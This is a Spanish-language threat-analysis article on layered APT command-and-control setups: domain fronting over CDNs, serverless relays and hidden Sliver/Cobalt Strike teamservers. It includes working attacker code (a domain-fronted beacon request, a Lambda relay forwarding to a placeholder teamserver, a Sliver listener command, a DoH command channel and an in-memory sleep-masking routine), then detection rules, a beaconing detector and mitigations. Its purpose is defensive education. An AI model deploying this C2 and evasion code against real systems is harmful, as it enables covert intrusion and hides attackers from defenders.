La evolución de la infraestructura C2
Los equipos de respuesta a incidentes en LATAM y globalmente están viendo un cambio claro: los grupos APT han abandonado los servidores C2 directamente expuestos. La tendencia dominante en 2024-2025 es la arquitectura de tres capas donde el servidor que recibe los beacons nunca tiene una IP pública propia — está enterrado detrás de múltiples capas de infraestructura legítima de proveedores cloud.
Esta arquitectura no es teórica. La hemos observado en campañas documentadas de grupos como APT29 (Cozy Bear), UNC3004, y en múltiples intrusiones de ransomware-as-a-service en la región. Entender cómo funciona es el primer paso para detectarla.
El modelo de tres capas
[Víctima]
│ HTTPS a *.cloudfront.net / *.azurefd.net (tráfico aparentemente legítimo)
▼
┌─────────────────────────────────────┐
│ CAPA 1: CDN / Domain Fronting │ ← CloudFront, Azure Front Door, Fastly
│ IP pública de CDN legítima │ El SNI apunta a un dominio legítimo
│ Host header apunta al C2 real │ pero el Host header redirige al relay
└──────────────────┬──────────────────┘
│ HTTPS interno
▼
┌─────────────────────────────────────┐
│ CAPA 2: Relay Serverless │ ← AWS Lambda, GCP Cloud Run, Azure Functions
│ Sin IP fija, sin estado │ Recibe, decodifica y reenvía al teamserver
│ Escala a cero cuando inactivo │ Logs dispersos entre cuentas cloud
└──────────────────┬──────────────────┘
│ HTTPS / mTLS sobre Tor u otro anonimizador
▼
┌─────────────────────────────────────┐
│ CAPA 3: Teamserver │ ← Cobalt Strike, Sliver, Havoc C2
│ Never touches internet directly │ Bulletproof hosting o VPS anónimo
│ Solo acepta conexiones del relay │ Bind exclusivo a loopback o VPN tunnel
└─────────────────────────────────────┘
Esta arquitectura hace que el takedown del C2 sea extremadamente difícil: eliminar el teamserver no rompe el acceso porque los relays serverless son efímeros y pueden recrearse en minutos. El dominio de fronting pertenece a Amazon o Microsoft — no se puede bloquear sin romper tráfico legítimo.
Capa 1: domain fronting sobre CDN
El domain fronting explota una diferencia entre lo que se negocia en TLS (el SNI) y lo que se indica en el header HTTP Host. La víctima establece una conexión TLS con docs.microsoft.com (legítimo, confiable, imposible de bloquear en un proxy corporativo). Pero el header Host dentro de esa conexión cifrada apunta al subdominio del atacante también alojado en la misma CDN.
import requests
session = requests.Session()
headers = {
"Host": "beacon-relay.azurefd.net",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/octet-stream",
}
response = session.post(
"https://www.microsoft.com/updates/check",
headers=headers,
data=encrypted_beacon_data,
verify=True,
)
El TLS termina en Azure Front Door con un certificado válido de Microsoft. El CDN lee el Host header interno y reenvía la request al backend configurado por el atacante. Para el proxy corporativo, todo lo que ve es tráfico HTTPS legítimo a www.microsoft.com.
Desde 2022, AWS CloudFront y Azure Front Door han implementado mitigaciones contra domain fronting clásico requiriendo que el SNI coincida con el Host header. Sin embargo, variantes como domain hiding (usando subdominios del mismo tenant) siguen siendo efectivas y se observan activamente en campañas 2025.
Capa 2: relay serverless — evasión por diseño
Un relay serverless tiene propiedades ideales para evasión:
- Sin IP fija: La Lambda o Cloud Function usa un bloque de IPs rotado por el proveedor
- Cold start: Si no recibe tráfico, no existe — sin procesos, sin logs activos
- URLs únicas: Cada función tiene su propio subdominio
*.lambda-url.*.on.awso*.run.app - Logs dispersos: CloudWatch, GCP Logging — requieren acceso al tenant para investigar
import json
import base64
import boto3
def lambda_handler(event, context):
body = base64.b64decode(event.get("body", ""))
teamserver_url = "https://[TEAMSERVER_ONION_OR_VPN]/beacon"
import urllib.request
req = urllib.request.Request(
teamserver_url,
data=body,
headers={"Content-Type": "application/octet-stream"},
method="POST"
)
with urllib.request.urlopen(req, timeout=10) as resp:
response_data = resp.read()
return {
"statusCode": 200,
"headers": {"Content-Type": "application/json"},
"body": base64.b64encode(response_data).decode()
}
El relay no almacena nada. Recibe el beacon cifrado, lo reenvía al teamserver, y devuelve la respuesta. Desde el punto de vista forense, el relay es casi invisible — no tiene disco, no tiene estado, y sus logs son propiedad del atacante (están en su cuenta de AWS/GCP).
Capa 3: el teamserver oculto
El teamserver (Cobalt Strike, Sliver, Havoc) se configura para no aceptar conexiones directas de internet. Solo escucha en:
- Un tunnel WireGuard/OpenVPN hacia el relay
- O un servicio
.onionpara casos de mayor anonimato
La configuración típica de un Sliver listener en esta arquitectura:
sliver > https --lhost 127.0.0.1 --lport 8443 \
--cert /opt/certs/relay-client.pem \
--key /opt/certs/relay-client.key \
--mtls true \
--timeout 45s \
--jitter 35
[*] Starting HTTPS/TLS listener on 127.0.0.1:8443
[*] mTLS enabled — only relay cert accepted
El jitter del 35% significa que el beacon duerme entre 29s y 61s entre check-ins, distribuyendo el tráfico para que no sea periódico — uno de los principales indicadores de detección de beacons.
Protocolos de comunicación y evasión avanzada
DNS-over-HTTPS como canal alternativo
Para entornos con inspección de tráfico HTTPS estricta, los implantes avanzados usan DNS-over-HTTPS (DoH) como canal secundario. Las queries van a dns.google o cloudflare-dns.com — ambos imposibles de bloquear sin impactar severamente la operación normal.
import httpx
class DoHC2Channel:
DOH_RESOLVERS = [
"https://dns.google/dns-query",
"https://cloudflare-dns.com/dns-query",
]
def get_command(self, domain: str) -> bytes | None:
for resolver in self.DOH_RESOLVERS:
try:
resp = httpx.get(
resolver,
params={"name": f"cmd.{domain}", "type": "TXT"},
headers={"Accept": "application/dns-json"},
timeout=5.0,
)
data = resp.json()
for answer in data.get("Answer", []):
if answer["type"] == 16:
return bytes.fromhex(answer["data"].strip('"'))
except Exception:
continue
return None
Sleep masking y cifrado en memoria
Los beacons modernos cifran su propio código en memoria durante los períodos de sleep, dificultando la detección por herramientas de escaneo de memoria como PE-sieve o BeaconEye:
void beacon_sleep(uint32_t ms) {
void *img_base = get_image_base();
size_t img_size = get_image_size();
xor_encrypt_region(img_base, img_size, sleep_key, KEY_LEN);
Sleep(ms + (rand() % jitter_ms));
xor_encrypt_region(img_base, img_size, sleep_key, KEY_LEN);
}
TTPs mapeadas (MITRE ATT&CK)
- T1090.004 — Domain Fronting: Uso de SNI legítimo de CDN con Host header apuntando al relay del atacante
- T1102.002 — Web Service: Bidirectional Communication: Lambda Functions URL como canal C2 bidireccional
- T1071.001 — Web Protocols: Toda la comunicación viaja sobre HTTPS en puertos 443/80 estándar
- T1568.002 — DGA: Domains generados algorítmicamente como fallback si el relay serverless es desactivado
- T1573.002 — Asymmetric Cryptography: mTLS entre el relay y el teamserver para autenticación mutua
- T1583.006 — Acquire Infrastructure: Web Services: Uso de cuentas cloud legítimas (AWS, Azure) como infraestructura de ataque
El uso de infraestructura de AWS y Azure como parte del C2 complica significativamente la respuesta a incidentes. Las solicitudes de preservación de evidencia (legal hold) a estos proveedores requieren procesos legales internacionales que pueden tomar semanas.
Detección: ¿cómo identificar esta arquitectura?
JARM fingerprinting del relay serverless
Las funciones Lambda con listeners TLS suelen tener firmas JARM características. Aunque el CDN fronting enmascara el JARM del teamserver, el relay serverless a veces es contactable directamente:
jarm 3fd21b20d00000021c43d21b21b43de0a012c76cf078b9fd0000000000000000 \
--port 443 \
--host update-metrics.lambda-url.us-east-1.on.aws
Detección de fronting por discrepancia SNI vs Host
Un proxy que inspeccione el header Host después de la terminación TLS puede detectar discrepancias:
event http_request(c: connection, method: string, original_URI: string,
unescaped_URI: string, version: string)
{
local host = c$http$host;
local ssl_sni = c$ssl$server_name;
if (ssl_sni != "" && host != "" && ssl_sni != host) {
NOTICE([$note=HTTP::SNI_Host_Mismatch,
$conn=c,
$msg=fmt("SNI/Host mismatch: SNI=%s Host=%s", ssl_sni, host)]);
}
}
Detección de beacons por jitter periódico
Aunque el jitter dificulta la detección, los beacons siguen siendo estadísticamente periódicos. Una query en Zeek/Suricata buscando conexiones con intervalo medio constante y baja desviación estándar puede identificar beacons incluso con jitter del 35%:
import numpy as np
from collections import defaultdict
def detect_beaconing(connections: list[dict], threshold_cv=0.4) -> list[str]:
intervals = defaultdict(list)
sorted_conns = sorted(connections, key=lambda x: (x["dst_ip"], x["timestamp"]))
for i in range(1, len(sorted_conns)):
prev, curr = sorted_conns[i-1], sorted_conns[i]
if prev["dst_ip"] == curr["dst_ip"]:
delta = curr["timestamp"] - prev["timestamp"]
intervals[curr["dst_ip"]].append(delta)
suspects = []
for dst_ip, deltas in intervals.items():
if len(deltas) >= 10:
cv = np.std(deltas) / np.mean(deltas)
if cv < threshold_cv:
suspects.append(dst_ip)
return suspects
Las herramientas RITA (Real Intelligence Threat Analytics) y BeaconHunter automatizan la detección estadística de beaconing en capturas de red. RITA es open source e integrable con Zeek. Considéralo parte de tu stack de detección antes de que necesites usarlo reactivamente.
Mitigaciones recomendadas
- Inspección TLS con proxy interno: Forzar terminación TLS en el perímetro permite detectar discrepancias SNI/Host y aplicar políticas de categorización de destino final
- Bloqueo de Lambda Function URLs públicas: Si tu organización no usa AWS Lambda en producción, bloquear el patrón
*.lambda-url.*.on.awsy*.run.appen el proxy elimina una clase completa de relays serverless - Habilitar detección de beaconing: Implementar RITA sobre logs de Zeek para detectar patrones de check-in periódico — incluso beacons con jitter tienen CV estadísticamente bajo
- Reglas de egress estrictas: Los beacons necesitan salir. Una política de egress que solo permita tráfico HTTPS a destinos categorizados como “business” y bloquee CDN genéricos reduce drásticamente la superficie
- Monitoreo de Lambda/Azure Functions en tu tenant: Si usas cloud pública, habilita alertas sobre nuevas funciones creadas con Function URLs públicas — un relay puede desplegarse en segundos desde una cuenta comprometida
- Deploy de BeaconEye en endpoints críticos: BeaconEye escanea memoria para detectar beacons incluso con sleep masking activo, basándose en la estructura del heap más que en firmas de código
Si detectas tráfico hacia *.lambda-url.*.on.aws o *.run.app que no es generado por tus propios sistemas, trata el host de origen como comprometido hasta demostrar lo contrario. La probabilidad de que sea tráfico legítimo desde endpoints de usuario es extremadamente baja.